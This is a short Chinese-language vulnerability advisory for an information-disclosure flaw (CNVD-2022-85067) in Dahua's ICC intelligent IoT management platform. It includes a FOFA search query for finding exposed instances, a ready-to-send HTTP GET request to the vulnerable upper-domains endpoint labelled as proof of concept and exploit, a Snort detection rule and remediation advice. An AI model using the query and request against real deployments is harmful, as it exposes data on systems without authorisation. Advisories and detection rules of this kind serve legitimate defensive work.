大华ICC智能物联管理平台 upper-domains 存在信息泄露漏洞

大华ICC智能物联管理平台 upper-domains 存在信息泄露漏洞，导致数据信息泄露或者导致服务器被控制。

影响版本

大华ICC智能物联管理平台

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：body="static/qwebchannel.js" && body="/客户端会小于800/"

POC/EXP：

GET /evo-apigw/evo-cascade/mas/upper-domains HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"大华ICC智能物联综合管理平台 - Sensitive Information Disclosure via upper-domains (CNVD-2022-85067)";
    flow:to_server,established;
    http.method; content:"GET";
    http.uri; content:"/evo-apigw/evo-cascade/mas/upper-domains";
    metadata:
        service http,
        affected_product "大华ICC智能物联综合管理平台",
        vulnerability_type "Sensitive Information Disclosure",
        cve "CNVD-2022-85067",
        severity "medium";
    classtype:policy-violation;
    sid:1000673;
    rev:1;
    priority:2;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限，升级至安全版本。